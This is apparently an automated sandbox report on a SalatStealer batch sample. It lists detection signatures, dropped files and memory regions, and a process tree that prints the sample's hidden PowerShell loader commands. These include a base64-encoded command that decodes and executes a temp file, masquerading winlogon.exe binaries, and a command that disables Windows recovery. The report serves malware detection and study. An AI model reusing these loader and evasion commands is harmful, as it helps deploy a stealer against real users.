Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/10/2026, 03:49
General
- Target service.bat
- Size 4.6MB
- Sample261030-edmf8svyhs
- SHA256 cc49cb413d972510a316bd5195d5853a08e8f9159b20429c906558e6876a400f
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 15 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- UPX packed file 20 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\itxb0yss\itxb0yss.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E98.tmp" "c:\Users\Admin\AppData\Local\Temp\itxb0yss\CSCD9D5D4E674A4C3DBF572CEAA69AA64D.TMP"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\p_329afc27-7e69-4eab-87bc-9eee01723746.exe"C:\Users\Admin\AppData\Local\Temp\p_329afc27-7e69-4eab-87bc-9eee01723746.exe"5⤵
-
C:\Program Files (x86)\Google\winlogon.exe"C:\Program Files (x86)\Google\winlogon.exe"6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe7⤵
-
C:\Windows\SysWOW64\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable8⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\winlogon.exe"C:\Program Files (x86)\Microsoft\Edge\Application\winlogon.exe" -7⤵
-
-
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
RES9E98.tmp
__PSScriptPolicyTest_hjxw02vj.jiv.psm1
itxb0yss.dll
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.l64
p_329afc27-7e69-4eab-87bc-9eee01723746.exe
CSCD9D5D4E674A4C3DBF572CEAA69AA64D.TMP
itxb0yss.0.cs
itxb0yss.cmdline
memory/1844-844-0x0000000000ED0000-0x0000000001B25000-memory.dmp
memory/1844-857-0x0000000000ED0000-0x0000000001B25000-memory.dmp
memory/1844-849-0x0000000000ED0000-0x0000000001B25000-memory.dmp
memory/1844-848-0x0000000000ED0000-0x0000000001B25000-memory.dmp
memory/1844-847-0x0000000000ED0000-0x0000000001B25000-memory.dmp
memory/2764-905-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-900-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-897-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-898-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-899-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-902-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-901-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-904-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-859-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-858-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-856-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/2764-903-0x0000000000470000-0x00000000010C5000-memory.dmp
memory/3196-866-0x0000000000700000-0x0000000001355000-memory.dmp
memory/3196-874-0x0000000000700000-0x0000000001355000-memory.dmp
memory/4388-826-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/4388-832-0x0000028A5CBE0000-0x0000028A5CBE8000-memory.dmp
memory/4388-846-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/4388-834-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/4388-813-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/4388-814-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/4388-835-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6036-868-0x00000000060F0000-0x0000000006112000-memory.dmp
memory/6036-875-0x0000000006880000-0x000000000689E000-memory.dmp
memory/6036-876-0x00000000068E0000-0x000000000692C000-memory.dmp
memory/6036-877-0x0000000006E40000-0x0000000006E88000-memory.dmp
memory/6036-879-0x00000000703D0000-0x000000007041C000-memory.dmp
memory/6036-883-0x0000000007D10000-0x0000000007D30000-memory.dmp
memory/6036-884-0x0000000007D30000-0x0000000007DD3000-memory.dmp
memory/6036-880-0x0000000070580000-0x00000000708DB000-memory.dmp
memory/6036-878-0x0000000007CD0000-0x0000000007D06000-memory.dmp
memory/6036-886-0x0000000007E50000-0x0000000007E6A000-memory.dmp
memory/6036-885-0x00000000084A0000-0x0000000008B1C000-memory.dmp
memory/6036-887-0x0000000007EB0000-0x0000000007EBA000-memory.dmp
memory/6036-888-0x0000000007F60000-0x0000000007FF6000-memory.dmp
memory/6036-889-0x0000000008360000-0x0000000008382000-memory.dmp
memory/6036-890-0x00000000090E0000-0x000000000969A000-memory.dmp
memory/6036-873-0x0000000006300000-0x000000000665B000-memory.dmp
memory/6036-870-0x0000000006200000-0x0000000006266000-memory.dmp
memory/6036-869-0x0000000006190000-0x00000000061F6000-memory.dmp
memory/6036-867-0x0000000005A50000-0x000000000609A000-memory.dmp
memory/6036-865-0x0000000003050000-0x0000000003086000-memory.dmp
memory/6044-5-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-4-0x0000020FBE120000-0x0000020FBE142000-memory.dmp
memory/6044-3-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-0-0x00007FFEFB8BF000-0x00007FFEFB8C0000-memory.dmp
memory/6044-6-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-7-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-8-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-10-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp
memory/6044-11-0x00007FFEFB730000-0x00007FFEFC0D4000-memory.dmp